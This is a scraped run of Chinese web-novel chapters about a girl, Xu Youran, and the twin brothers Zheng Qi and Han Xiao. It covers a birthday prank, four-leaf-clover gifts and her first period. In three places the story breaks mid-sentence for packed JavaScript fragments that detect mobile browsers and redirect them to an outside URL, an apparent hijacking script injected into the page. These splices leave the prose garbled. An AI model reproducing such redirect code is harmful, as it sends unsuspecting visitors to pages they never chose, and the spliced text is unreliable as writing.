“第二天大象和小松鼠一起吃饭,大象问小松鼠你掉不掉毛,小松鼠说不掉,大象就用小松鼠擦了嘴……” 听起来毫无可笑之处的笑话。 许悠然奇怪,韩骁你不是能说会道吗?这算什么笑话? “没了?然后呢?”她忍不住追问。 韩骁见她咬了一口饼干,突然“嘿嘿”一笑,“然后小松鼠说,我是昨天的小白兔!” 许悠然一口饼干含在嘴里,待反应过来,吞不下去吐不出来,又憋不住笑,咳嗽得脸都红了。 “咳咳……韩骁……你……大坏蛋……咳咳……” 哪里还有韩骁的影子,人早跑了。 许悠然只得自己去找水喝。刚囫囵吞枣般喝下几口水,一个熟悉的声音突然在背后响起。 “然然,你怎么了?” 是郑骐回来了。 许悠然被他突如其来的声音一吓,终于不受控制地把嘴里的水和饼渣都喷了出来。 看着被打湿的衣襟和一地的碎渣,许悠然气得想杀人。 “韩骁,你这个王八蛋!” 许悠然不顾一脸茫然的郑骐,气呼呼地冲了出去。 以她对韩骁的了解,他做了坏事肯定不会走远,必定会待在附近等着看别人出丑。 果然,韩骁一听到她的声音,从院门后钻出来哈哈大笑着,“笑话好笑吗?”,他还故意把手笼在嘴上做个喇叭状,挑衅完就一溜烟跑了,等许悠然追出去哪里还能看到他的身影。 最后还是郑骐耐心地安慰她,又帮她解决了麻烦的数学题。 如果说郑骐是天使,那韩骁就是不折不扣的恶魔。许悠然想不明白,明明都是干妈的儿子,为什么他俩的区别这么大? 许悠然的十岁生日宴如期而至。 许仕明和周亚珍都是技术骨干,平时忙于工作,没什么时间照管女儿,对比之下倒是韩少蓉管得更多。夫妻俩心里对女儿既有万般的疼爱也有百般的愧疚。于是,借着生日宴的由头,想好好弥补一下。 高朋满座,欢声笑语,整整热闹了一天,夜幕降临的时候,院里才渐渐恢复了宁静。 许悠然穿一件白色公主裙,蹬着一双锃亮的小皮鞋,站在院子里的大樟树下,漂亮得像个精灵公主。对她来说,父母陪伴的缺失不是什么大事,反正有郑骐,她遇到什么麻烦,郑骐会给她解决,她有什么不开心的,郑骐会安慰她哄她开心。还不用像韩骁那样,老是被妈妈训,这种日子,她快乐都来不及呢。可是今天,她不开心。 因为郑骐没有参加她的生日宴。 明明放了寒假,他还要上什么奥数班,一大早就出去了,到现在还没回来。偏偏今天还是她的生日。 她很生气。但是又觉得郑骐没做错。她不知道该气谁,也不知道该找谁出气。 北风呼呼地吹,许悠然冻得抱住胳膊,瑟瑟发抖。虽然这里的冬天没有北方那么严酷,但是寒冬腊月穿着裙子也不好受。但她不想换下来,因为郑骐还没看到她的样子呢。 她也不想回家。 生日宴完了,爸妈就临时被医院叫走了。爸爸有个病人突发危急情况要动手术,妈妈被叫去参加学习。热闹过后,这个家还是只剩下她自己。 每个人都说祝她生日快乐,可是她觉得一点都不快乐。 只有看到郑骐,她才会快乐一点。 “然然,快回来吧,外面太冷了,小心冻感冒了。” 干妈叫了她几次,她敷衍地回应着,就是不肯进屋。 动一动就没那么冷了。她围着大樟树小跑起来。 正跑得气喘吁吁,一个人影挡在了她面前。 “生日快乐。” 许悠然又惊又喜。 这声音,是郑骐。 她开心地抬起头,正要跟他耍性子,却顿住了。 不是郑骐,却有着和他一模一样的脸。 许悠然不像妈妈,她很早就能准确区分郑骐和韩骁的脸。可妈妈直到现在都会经常弄错他们俩,惹出好多笑话。许悠然得意地跟妈妈分享她的秘诀。 “你让他开口说话,胡说八道的是韩骁,出口成章的是郑骐。” “胡说八道!”周亚珍笑着拍了拍女儿的头,怎么能这样没礼貌地说干哥哥呢。 “你妈是太迟钝了,其实仔细看很好分辨。我就从来没弄错过。”爸爸扶扶眼镜,对自己的好眼力特别自信。 “切!那你说说看你的秘诀。”周亚珍对丈夫在女儿面前揭她的短很不满。 “说不出来,是一种感觉。郑骐有点少年老成,小小年纪已经有些韩老爷子的风范,以后肯定也是文武双全。韩骁嘛,就是个没笼头的马,风风火火的,倒是和郑老爷子很像。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107779|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周亚珍思索了一会儿,高兴得拍手笑:“你一说还真是这样,你看看你,多跟你爸学学,你看他说得多好……”她戳了戳女儿的小脑门,对丈夫细微精准的观察力佩服极了。 许悠然不懂韩老爷子和郑老爷子有什么区别,只知道他们是对她很好的姥爷和爷爷。 “谢谢。”许悠然闷闷地回答,失望地转过身去。 “他很快就回来了,你先进屋等吧。”韩骁见她态度冷淡,有些讪讪的。 “我就在外面等。”许悠然倔强地说。 “对了,我的礼物还没送给你呢。” 许悠然一愣,她没想到韩骁还会给她准备礼物。 “你跟我来。”韩骁温和地笑笑,往院子深处走去。 许悠然早就发过誓,再也不跟韩骁玩。可是他刚才那样笑,她不知怎么的,就傻傻跟着他走了。 一定是因为他刚才笑的样子太像郑骐了。许悠然有点后悔。但是已经踏出了第一步,现在退缩肯定会被他嘲笑。她一咬牙,还是跟上去了。 韩骁带她来到院子角落里一棵樟树下。大院里种了很多樟树,平时小伙伴们最喜欢在树下乘凉、玩耍,有的树甚至需要好几个人合抱才能围住。 这棵树不是很大,但是树干也有一个水桶那么粗了。几根树杈不高不低地伸出来,发育得郁郁葱葱。 “礼物在哪?”许悠然很奇怪韩骁为什么带她来这里。 “喏,就在那。”韩骁下巴往上点点,像个大人一样双手插在裤兜里,有些酷酷地说。 许悠然突然有种上了贼船的感觉。 可是,来都来了。 “你把给我的生日礼物放在树上?”许悠然感到不可思议。 “每个人都直接把礼物给你,我要是也那样多没意思,生日就该有点惊喜,而且,越难得到的东西不是越觉得珍贵吗?” 韩骁很少这样认真地说话。 许悠然决定再信他一次。因为他认真的样子和郑骐太像了,一样的脸,一样的身形,如果不是许悠然早已经知道这是韩骁,说不定会把他当成郑骐。 许悠然爬过树,还是郑骐教她的,虽然那棵树没这么大。不过她现在也长大了,应该没问题。 活动了一下手脚,许悠然准备爬树。她真的有点想知道,韩骁会给她准备什么礼物。不会是一只死老鼠吧?她最怕老鼠了。 “喂,你确定是惊喜不是惊吓?不会是死老鼠、癞蛤蟆之类的东西吧?” “我保证不是,绝对是惊喜。”韩骁笑了笑,对她的杞人忧天感到好笑,似乎那个隔三差五捉弄许悠然的人并不是他自己。 许悠然开始爬树。天太冷了,手脚有些麻木,她还穿着裙子,皮鞋又太滑,费了九牛二虎之力终于爬到了最低的树杈上。 “礼物呢!”许悠然坐在树杈上,东张西望,什么都没有。 “继续往上爬,就在第二根树杈上面。”韩骁仰着头,指了指上面被树丛遮住的地方。 “我不爬了!我不要礼物了!我要下来!”许悠然有点害怕了,昏黄的路灯下,被树丛掩住的地方一片昏暗,根本看不清有什么礼物。她肯定又被韩骁骗了!说不定她爬上去了他又会说在第三根树杈上面! “要么你上来拿给我,不然我不要了!”许悠然气得想哭,声音里已经带了几分哭意。 “你怎么干什么都那么喜欢半途而废,小时候滑冰摔了几次就不学了,学钢琴练了几天觉得累也不学了,没有我哥,你干得成一件事吗?”韩骁嘲讽的声音从树下传来。 他又恢复了真正的面目。 “不要你管!”许悠然气得发抖。 什么时候轮到韩骁来教训她了?他还有脸说!滑冰的时候要不是他铲倒她几次,她会把牙摔掉吗?要不是他每天说她弹钢琴是魔音绕耳,她会忍痛放弃吗? “好,那我走了,等着郑骐来管你吧。”韩骁点点头,真的走了。 9. 008 直到韩骁的身影彻底消失在视线里,许悠然才想起来,她只学了怎么上树,没学怎么下来。因为那次爬上树是郑骐抱她下来的。 许悠然不知道自己在树上待了多久。只知道最后她几乎快冻僵了,直到郑骐把她背在肩上的时候,她才感觉到一些暖意。 她觉得自己太蠢了,居然会一次次上韩骁的当。他怎么可能那么好给自己准备生日礼物呢?他不整她就算好了。她躺在被子里,烧得迷迷糊糊的,嘴里还在轻轻念叨:“郑骐……你在哪……快来救我……” 一双柔软微凉的手抚上她的额头,很快,她感到身体不再那么滚烫难受,这双手凉凉的,软软的,吸走了她身体里的岩浆,整个人舒服多了。 郑骐找到许悠然的时候天已经黑透了。 他一回到家,就得知许悠然不见了,韩骁也不见了。韩少蓉急得乱转,周亚珍夫妻俩都去工作了,把宝贝女儿托付给她,万一有个三长两短她怎么交代?何况许悠然是她的干女儿,也是她放在手心里疼着长大的,出点什么事她也会伤心死。 母子俩急忙出去找人。 韩骁不在小伙伴家里,许悠然也没回自己家。 郑骐想了想,绕到院子后面的树丛里,一个角落一个角落地找。 “然然……”他一边用手电筒到处照,一边高声喊着。如果许悠然在这里,肯定能听见他的声音。 万籁俱寂,悄无声息,小小少年的声音被寒风裹挟着四散开去。 郑骐一动不动地站着,静静听着夜色里的各种声音。有风刮过树叶的声音,有远处夜猫的呜咽声,有他自己的呼吸声,似乎,还有微弱的呢喃。 “郑骐……” 是然然的声音! 郑骐大喜过望,马上循声找去。 许悠然看到郑骐站在树下,眼眶马上红了,声音带着哭腔,“郑骐,韩骁……欺负我……呜呜……” 她不顾一切,放心地跳到了郑骐怀里。小小少年身体还很单薄,踉踉跄跄后退几步,努力才能勉强站稳,但是仍然紧紧抱住了他想要保护的人。 许悠然醒来的时候已经是第二天早上,这真是她永生难忘的一个生日。 妈妈坐在床边心疼地看着她,见她醒了摸摸她的脸,“你这傻孩子,怎么跟韩骁闹着玩也不知道分寸?你爬树做什么,万一摔下来缺胳膊断腿了怎么办?幸好郑骐找到你了,下次可不许这么顽皮了。” 许悠然不作声。不知道为什么,她不想告诉妈妈她是被韩骁骗到树上的。 “周姨,然然好点了吗?” 外面传来斯文的说话声,一听就知道是郑骐。 见郑骐来了,许悠然马上精神一振。她迷迷糊糊还记得昨晚是郑骐背她回家的。 “然然,你还觉得难受吗?”郑骐在床边坐下,羽绒服口袋里似乎揣着什么,鼓鼓囊囊的。 “好多了,你藏着什么?是给我的吗?” 被许悠然一眼看穿,郑骐有点不好意思,脸微红了一块,在兜里捣鼓半天,终于掏出几块薄薄的卡片。 “这是迟到的生日礼物,本来打算昨天送给你的。” 许悠然接过来一看,差点开心得跳起来。 是她找了许久都没找到的四叶草!几片翠绿的四叶草被夹在透明卡纸里做成了书签,透过阳光看去,颜色鲜亮,纹路清晰,甚至比在泥里看起来更鲜活好看。 不知道从什么时候开始,女生中开始流行寻找四叶草。美其名曰,四叶草代表幸运和幸福,找到四叶草的人就能拥有幸福。 郑骐对这种传说置之一笑,可是许悠然信了。好长一段时间里,她做完作业就和朋友们在院子、公园寻找四叶草。好几个同学都找到了,可许悠然每次都无功而返。为此,她闷闷不乐好久。 她以为郑骐根本不信这些,没想到他竟然会去找,不仅找到了,而且还做成了好看的标本。 她举着书签笑得合不拢嘴。她终于知道三天前郑骐那些话的意思了。 “我又没找到。”三天前,许悠然垂头丧气地回到家。她找了两个小时,连四叶草的影子都没看到。过几天就是她的生日了,她简直怀疑世界上到底还有没有四叶草,竟然不给她这个寿星一点希望。 “傻子,这种事情都有人信,你们女生可真够笨的!”韩骁吃着包子满脸不屑。 “慢慢找总会找到的,别太急。说不定上天看你这么努力,就会送你一棵作为生日礼物呢。”郑骐好脾气地安慰她。 “那你呢?准备送什么生日礼物给我?”提到即将到来的生日,许悠然还是充满了期待。 “现在告诉你多没意思,到时候你就知道了。”郑骐摸摸她的头,笑得神秘。 “韩骁,你呢?”许悠然朝他伸出手,理所当然地问。 “没有!”韩骁咽下包子,理所当然地回答。 “切!幸好我也没有指望你会送我礼物。哼!”许悠然转过身,作出满不在乎的模样。 嘴上说不在乎,可心里还是有点失望。不过幸好,她也没有给韩骁准备生日礼物,要是她给韩骁准备了,韩骁却不给她准备,她才要生气呢! 虽然韩骁的捉弄让她很生气,但是郑骐的礼物已经完全抵消了韩骁给她的伤害。 她收到了许多生日礼物,好多都没拆还堆在那里,可是她觉得这几片书签,才是她最喜欢的礼物。 郑骐静静看着她,嘴角不自觉露出微笑,见她眉开眼笑,对书签爱不释手,他感觉冬日的阳光似乎都被她的笑容融化了。 郑家家教严格,做错事就要受罚,韩骁默默跪在客厅里,一声不吭。 韩少蓉在他身边走来走去,嘴里唾沫横飞。 “你小子出息了啊,这么对待妹妹!你说,你骗她上树干嘛!万一冻僵了,有个三长两短你这条小命够赔吗!等你爸回来,你看我不让他打断你的腿!”韩少蓉手里拿着鸡毛掸子,在韩骁的屁股上结结实实地抽了一下。 “她才不是我妹妹!” 韩骁抓重点的能力让韩少蓉叹为观止。 “你干脆说我不是你妈得了!”韩少蓉又抽了一记屁股。 韩骁不言语,倔强地跪着。 “妈,算了,韩骁不是故意的,然然没事就好。”郑骐朝韩骁挤挤眼,示意他服个软, 韩骁假装没看到,把头扭向别处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107780|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >韩少蓉也不是真的那么狠心,但她若是不表个态,周亚珍夫妻俩脸上过不去。她打也打了,骂也骂了,只要韩骁认个错,这件事情就能过了。 可这死小子,跪了两个小时也不肯认错。最后,还是许仕明看不过去,过来劝了又劝,韩少蓉才勉强松口让他起来了。 “给!” 郑骐扔过来一个瓶子。 韩骁腿脚发麻,没接住,瓶子落在了床上。他拿起来看了看,是红花油。 “腿麻了吧,你又不是不知道咱妈的脾气,认个错让周姨和许叔有个台阶下不就行了吗,再说这事本来就是你做错了。你没事干嘛骗然然上树?无聊。” “你就当我无聊。”韩骁闷声闷气抹着红花油。真疼! “这是什么?” 郑骐指着床脚一个白色的方形盒子问。 “别动!”韩骁一个飞身扑过去,死死地把盒子捂在怀里,生怕慢了一步。 “秘密?哟,看来咱们郑家的臭小子长大了。”郑骐笑笑,不强求他分享。 韩骁看着这张和自己一模一样的脸,突然有些困惑。为什么上天要让两个人拥有同一张脸? 昨晚,他走后没多久就后悔了。可是等他回到树下,已经不见许悠然的人影。他以为自己记错了地方,把每棵树都找了一遍,还是没找到。他又爬上树,把藏在树杈里完好无损的盒子拿了下来。 黑夜里,只有他手里的白色盒子在月色的照耀下泛着光。他沉默着回到家,才知道郑骐已经找到了她。 韩骁小心地打开盒子,里面是一个白色相框,很精致,可相框里夹的不是照片,而是一片翠绿欲滴的四叶草。 他觉得自己一定是昏了头,竟然会准备这种东西。他盖上盖子,把盒子藏到了床底下的鞋盒里。 他的心意,也许本来就是多余的。和他这个人一样。 他就应该和小伙伴们踢足球踢到天黑,而不应该去找什么四叶草。 那天的风很大,天很冷。 足球赛被迫提早结束,小伙伴们都意犹未尽。 “韩骁,你这么早回家干嘛啊?再踢一会儿吧!” “就是就是!你回家又不写作业,再踢半小时,怎么样也要给我们一个反败为胜的机会吧!” 小伙伴们纷纷挽留。 “改天吧,你们接着玩,我妈叫我有事。” 韩骁放下裤腿,夹着足球头也不回地走了。 这是一个热闹的公园,玩耍的人很多,他出了公园朝回家的反方向走去。 直到天快黑了,韩骁才心满意足地起身回家。他手里小心翼翼地捏着几根四叶草,生怕不小心捏坏了。 我果然是最幸运的人。那就看在许悠然总是被我欺负的份上,把这份运气送给她当做赔礼道歉吧。韩骁喜滋滋地想。他简直能想象到许悠然看到这几片四叶草的时候会有多兴奋。 多年后,韩骁总会想起寻找四叶草的这个夜晚。如果时光可以倒流,如果拥有四叶草就可以拥有幸福,他希望找到四叶草的只有郑骐。不,他根本不会去找什么四叶草。 他愿意把他所有的运气都让给他。他可以什么都不要。 10. 009 从记事起,许悠然每年的生日都会许一个愿望。她每年的愿望都不一样,但一样的是愿望里总有郑骐。 五岁生日时,她希望能快点上小学,这样就可以和郑骐一起上学放学。六岁生日时,她希望郑骐能帮她把总是叫她“笨蛋”的韩骁揍一顿。八岁生日时,她希望郑骐周末可以不去上那该死的奥数班,因为她总是要在门口等很久他才回来。十岁生日时,她希望能找到两棵四叶草,她一棵郑骐一棵,这样他们就会一起成为幸福的人。十二岁生日时,她希望能快点长大,因为郑骐已经上初三,明年就要离开他们共同的校园了。 至于怎么才算长大,许悠然不太清楚。像妈妈那样成为一个能干的人?还是像邻居大姐姐那样文静又秀气?许悠然想破头也想不出一个标准,倒是班里几个女同学在一起讨论的时候说得有模有样。 “你那个来了没?” 班长袁文君是个活泼爽利的女孩,不管谁需要帮助都大方地出手,和男孩子们也能打成一片,男生把她当兄弟,女生把她当大姐,都愿意和她玩,许悠然也不例外。 课间几个女孩凑在一起神神秘秘开小会。 “哪个?”许悠然一脸茫然。 其余几个人对视一眼,露出心领神会的笑容。 “我上个星期来了。”一向文静的李薇薇羞羞答答地说。 “我六年级就来了,唉,烦死了,我妈说来太早很可能会长不高。” “我也是,不过多喝牛奶可以长高,再就是打篮球,要不周末我们一起打篮球?”袁文君也少见的面露忧愁。 “喂喂喂,你们到底在说什么呀?”许悠然游离在谈话主题之外,又好奇又着急。 “你不会不知道吧?”袁文君震惊地瞪着许悠然。 “知道什么呀?”许悠然回瞪着袁文君,眼睛里写满了懵懂困惑。 “那个呀!” “哪个呀?” 仿佛在打哑谜,袁文君就是没办法大大方方地说出那个词。 最后还是李薇薇受不了她们俩鸡同鸭讲,把许悠然扯近点,凑到她耳边低声说:“就是生理期……” 李薇薇这样那样一番讲解,许悠然终于恍然大悟,紧接着脸倏地一下红了。 “我……我没来。” “真羡慕你,难怪你个子比我们都高。”袁文君伸出手在许悠然头上比划了一下。 许悠然又问:“那个来了就不会长高了吗?” 李薇薇点头:“不是不会,太早了会影响长个儿。而且后面慢慢的还会发育第二性征。” 李薇薇果然是班上的学霸,不管什么知识都信手拈来。 “第二性征?那是什么?”许悠然像个好奇宝宝,接连问个不停。 “你不会没看开学发的生理卫生课本吧?”袁文君无语地看看天,然后像看傻子一样看着许悠然。 “没看,发回家就被我妈没收了。我倒想看来着。” 许悠然想起这事还有点生气,初一开学那天她刚把领到的新书拿回家,就被妈妈从里到外检查了一遍。她还没来得及看那本粉色封面看起来特别漂亮的生理卫生课本,妈妈就给收走了,说这本书要和家长一起看,以后再找时间给她讲。然后,她就再也没看到过那本书的踪影了。 “你妈妈是医生耶,居然这么保守哈哈哈哈……”袁文君哈哈大笑。 “那你们给我讲嘛!”许悠然无奈。妈妈平时不会管她那么多的,不知道为什么这次这么霸道。 “第二性征就是你的小葡萄会慢慢长大,还有……” 许悠然听完脸已经红透了,跟发烧一样滚烫,她捂住自己的脸趴到桌上想掩饰自己的慌乱和羞涩。 “你笑什么啊,总有一天你也会这样的,我妈妈说这说明我长大了,成为一个真正的少女了。”袁文君昂起头,坦然中还有一丝骄傲。 原来这就是长大?许悠然有点迷茫。 袁文君的话不时在她脑海中响起,害得她下午的课都没好好听。不过不要紧,不会的题目可以问郑骐。许悠然一边收拾书包一边等郑骐来找她。 郑骐和她在同一个学校念初三。小学时,他因为太优秀,直接从三年级跳到了五年级,本来韩少蓉还担心他会跟不上,没想到他直接到五年级也依然是班上的佼佼者。周亚珍隔三差五就和许仕明念叨,“郑骐这孩子真是天赋异禀,以后肯定有大出息。怎么别人家的孩子就这么优秀呢!” 许仕明擦着眼镜片,用开玩笑的口吻说:“怎么是别人家孩子呢?你不是给然然订了娃娃亲?这么优秀的人以后是你的女婿呢……” 周亚珍白他一眼,“那不是戏言吗,孩子的事情你还能做得了主?再说以后会怎么样谁知道?孩子们渐渐长大了,别老提这事儿!” 许仕明见她明明对郑骐赞不绝口,脸上却拉不下面子,毫不客气地戳穿她:“你就是死要面子,以后然然要是能找到他这样的对象,你只怕要敲锣打鼓昭告天下。” 周亚珍捶他一下,脸上表情却不攻自破,“去你的!我们然然也很优秀啊,以后喜欢她的人不说排到法国,怎么着也能排到院子外面吧。” 嘴上这么说,她心里却有些打鼓。许悠然这孩子,太没心眼了。都十二岁了,还整天迷迷糊糊的,要不是郑骐一直照应,她不知道要做多少傻事。 “嗯嗯,王婆卖瓜自卖自夸,话说你的宝贝女儿作业做完了吗?都这么晚了。” “哎哟我的天,都这么晚了!许悠然!你作业做完了吗?”周亚珍操着大嗓门就往女儿房间冲。 这是许家的日常。 可现在郑骐还没来。初三放学比初一晚,许悠然都是等郑骐放学然后一起回家写作业,遇到爸妈不在家的时候,她还要在郑家吃完晚饭才回自己家。 许悠然趴在桌上胡思乱想。突然,一阵尖锐的疼痛从小腹深处升上来。从来没有过的痛感,好像有一根绳子缠住了她身体里面某个隐藏的器官,不停拉扯,许悠然还没弄清楚是怎么回事,就感到一股热流从身体里流了出来,接着潮湿、温热的触感传到了她的脑子里。 她的裤子湿了。 怎么回事?我生病了? 许悠然忍着痛低下头去看。 只见她浅色的裤子上赫然有一块半个巴掌大的红色污渍,隐隐的血腥味钻进了她的鼻腔里。 那个来了? 许悠然突然明白,这就是李薇薇说的那个神秘的事情。一时间,各种复杂的情绪涌上心头。难受,小腹的锐痛还没停止。还焦虑,裤子脏了她可怎么回家?不过,这是不是意味着她长大了,也是一个真正的少女了?还有一种说不清楚的别扭情绪,她突然不想等郑骐了。 她站起身,幸好教室里只剩她一个人,没人会看到她裤子上清晰的污渍。可是她该怎么走回家呢?一路上肯定会有很多人看到,不知道为什么,许悠然天然感到这是丢人的,是不能被人看到的,是不能宣之于口的。 她只得又坐下,一边用手揉着痛的地方,一边想该怎么回去。 好奇怪,越揉越疼。许悠然感到身上渐渐有些发冷,尤其是后腰,好像有一阵阵凉气不受控制地嗖嗖乱窜。明明是春暖花开的时节,却好像身处寒冬腊月。 她不得不抱紧胳膊,缩成一团趴在桌上。 “然然,可以回家了。” 郑骐的声音准时在教室门口响起。 “唔……”许悠然有气无力地应了一声,没有像往常那样高兴地背起书包和他回家。 “怎么了?哪里不舒服?”郑骐敏锐地察觉到她的不对劲,大步走进教室,站到她身边。 他已经是一个长成了的少年。身姿挺拔,器宇轩昂,像一棵小白杨。不管风沙多大,阳光多烈,始终那样傲然挺立于荒芜中。 他身体投下的阴影笼罩住许悠然,身上传来少年特有的气息,好像是洗衣粉的清香,又有些她难以形容的清冽。她突然感到一阵害羞和慌乱,不知道该怎么告诉郑骐她到底怎么了。 这是前所未有的。 从小到大,她和郑骐都是亲密无间的,他就像她真正的哥哥那样,她可以在他面前毫无负担地撒娇、耍赖。 可是今天,她突然觉得一道无形的屏障从天而降隔开了她和郑骐。她再也无法像以前那样自然而然地跟他相处,要他背她,挠他痒痒,凑到他耳边说不能让韩骁听见的悄悄话。 她已经是一个少女了,一种强烈的性别意识油然而生。她终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107781|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于深刻意识到,她和郑骐是两个截然不同的个体。 “没……没有不舒服。”许悠然把头偏到另一边,不看郑骐。 “那是心情不好?”郑骐微微俯下身子,伸出手来摸她的额头。 温热熟悉的触感让许悠然浑身一震,她几乎是触电般躲开了郑骐的触碰。 郑骐看看自己悬空的手,脸色微微变了变。 “你是不是在生我的气?”郑骐的声音一如既往的温柔。 “没有,你先回去吧,我等爸爸来接我。”许悠然随意扯了个谎。 “许叔叔今天不是要值夜班吗,怎么来接你?”郑骐脑子好,不仅记得自己妈妈值班的时间,连周亚珍和许仕明的值班表都知道得一清二楚。 许悠然被拆穿,有些恼羞成怒,索性气哼哼地说:“那我等会儿自己回去,反正我今天不和你一起回家。你快走吧!” 她每次一急就会脸红,像个明知道自己不占理却还要强词夺理的小孩。她这副不讲道理的样子反而把郑骐逗笑了。他干脆坐在她身边,“你不走那我也不走了,我就在这写作业。”说完,他真的打开书包拿出书本。 “你!”许悠然气得张口结舌。一阵疼痛不合时宜地传来,她缩成一团,脸色由红转白。 “肚子疼?”郑骐心明眼亮,摸摸她的额头,冰凉的手感让他心一惊。 可是许悠然就是不承认自己生病了,也不肯说哪里不舒服,倔强地趴在桌上和他对峙,一步都不肯挪动。 郑骐低头看着她,突然明白了。脸上闪过一瞬间的尴尬,然后若无其事打开书包拿出了一件黑色外套。 “穿上吧,你冷。” 许悠然还没反应过来,带着郑骐气息的衣服就披在了她身上,温暖又熟悉的味道,让她感到很安全。 许悠然没说话,默默穿好衣服,低声咕哝:“你怎么会多一件衣服?” “春天天气反复无常,以防万一,你看现在不就正好用上了么。”郑骐说着又从包里拿出一个保温杯,拧开盖子递到许悠然面前。 “喝点热水吧,会舒服点。” 许悠然傻傻接过水杯,乖乖喝了几口。果然热水顺着喉咙下滑,一直向下,流动到她疼痛的地方,紧接着温暖驱散了寒冷,疼痛似乎也减轻了。 许悠然觉得郑骐的书包好像哆啦A梦的百宝箱,她需要什么,他就能变出什么。 “回家吧,天黑了。”郑骐收拾好东西,率先转过身。 许悠然确认他没看着自己,马上从椅子上站起来。他的个头比她高不少,他的衣服正好盖住了她想要遮掩的地方。嗯,非常好,这下不会有人看见了。 这是第一次,许悠然没有和郑骐并肩而行。她磨磨蹭蹭地跟在他后面,像个做错事的小孩,又像个忠诚的小狗。 郑骐也不催她,走几步就放慢步伐等她,见她跟上来又继续大步往前走。 许悠然很好奇,郑骐好像知道她为什么这样反常,可是他怎么一句也不问呢?他知不知道女生的那个? 许悠然胡思乱想着回到了自己家。爸妈不在家,她把换下来的脏衣服泡在冷水里,结果手一接触到冷水那种抽搐的疼很快又发作了。 她只得无力地躺在床上,迷迷糊糊间忍不住感叹,为什么女生长大会这么难受?男生长大也会这样吗? 半睡半醒间,有人在敲门。 “然然,你在吗?” 还是郑骐。不过也正常,除了他没别的人会这样叫门。干妈有她家的钥匙,她一个人在家的时候干妈都会直接开门进来叫她吃饭。韩骁,从来不到家里来找她,而且他也不会叫他“然然”,都是连名带姓粗鲁地喊她。只有郑骐,每次都礼貌地站在门口,得到了肯定的回答才会进来,哪怕明知道家里有人。 许悠然撑着身体起来开门。 郑骐提着两个保温桶站在门口。“这个是晚饭,我跟我妈说你不舒服就不过去吃饭了,这个是红糖水,你吃完饭喝,肚子就不会疼了。” 他没像往常一样进来,把保温桶塞到许悠然手上,看她懵懵的一副没反应过来的样子,笑了笑,然后踏着夜色走了。 许悠然突然有种强烈的直觉,郑骐知道,他什么都知道! 11. 010 郑骐躺在床上看书,想到许悠然傻乎乎、似懂非懂又气又恼的样子忍不住笑了出来。 韩骁在他对面捣鼓什么,一声不吭。一晚上这小子都有点不对劲,往常这个时候他不是在玩游戏就是看已经看了无数次的《灌篮高手》。 明明房间开着灯,他非要躲在被子里,鬼鬼祟祟的。郑骐玩心顿起,韩骁难道有什么秘密?他轻手轻脚下床,悄无声息地走到韩骁床边,猛地掀开了他的被子。 “我操!” 韩骁骂了一句脏话,翻身把怀里的东西塞到枕头下面。 “哈哈哈哈……” 郑骐从来没见过韩骁这么狼狈又手忙脚乱的样子,笑得前仰后合。 “你干嘛,别以为你是我哥我就不敢揍你!”韩骁满脸通红,气不打一处来。 “你来啊,平时我让着你,你以为我真打不过你?”郑骐嘴上这么说,却丝毫没有要动手的意思,坐到椅子上,好笑地看着韩骁。 “切——”韩骁只能忿忿地坐到枕头上,死死护着他的秘密。郑骐说的是实话,真打起来他不见得能打赢郑骐。可恨的十分钟,就这十分钟,他就成了弟弟。 “你枕头下面是什么?好东西可别一个人藏着掖着。” 韩骁本来还想挣扎,但是想想,就算现在不拿出来,迟早也得被他知道,两个人住一间房,哪能有什么藏得住的东西?只得不情不愿摸到枕头下,慢吞吞地把东西拿出来,甩手扔到郑骐怀里。 郑骐抬手稳稳接住,原来是本书。 他更好奇了。韩骁不太爱看书,就算看也是看漫画,不至于这样躲躲藏藏、遮遮掩掩。 他把书翻到正面,“青春期生理卫生”几个大字映入眼帘。 他一愣,紧接着爆发出一阵剧烈的笑声。 韩骁脸上挂不住了,一把把书抢回来,嘴里骂道:“笑屁啊!” 郑骐终于笑够了,把书丢还给他,站起身准备回自己床上。 “喂,你……没看吗?”韩骁不服气,今天他非扳回一城不可。 郑骐扭身回头,似笑非笑,“早看过了,没想到你现在才看。” 韩骁无话可说,闷闷回到床上再也无心看书。十分钟,好像又不止十分钟。 他抬头看了看郑骐,他正在看一本叫做《夜航》的书,这是他的习惯,睡前必须看会儿书。 《夜航》? 韩骁不太关注家里其他人的事,正如同他在这个家里也不被其他人关注一样。除了郑骐,他和其余人都不怎么交流,最多的交流就是“竹笋炒肉”。甚至有时候他几乎快忘了他的父亲郑英伟是一名空军飞行员,而这本书正是他父亲的。 他大多时候忙着玩,哪怕已经初二了,他还是一副完全不为学业烦恼的模样。每周末准时和朋友踢足球、打篮球,最近还开始捣鼓乐器,整天拿把吉他在房间里弹个没完。 许悠然大喜,她终于逮到了报仇的机会。 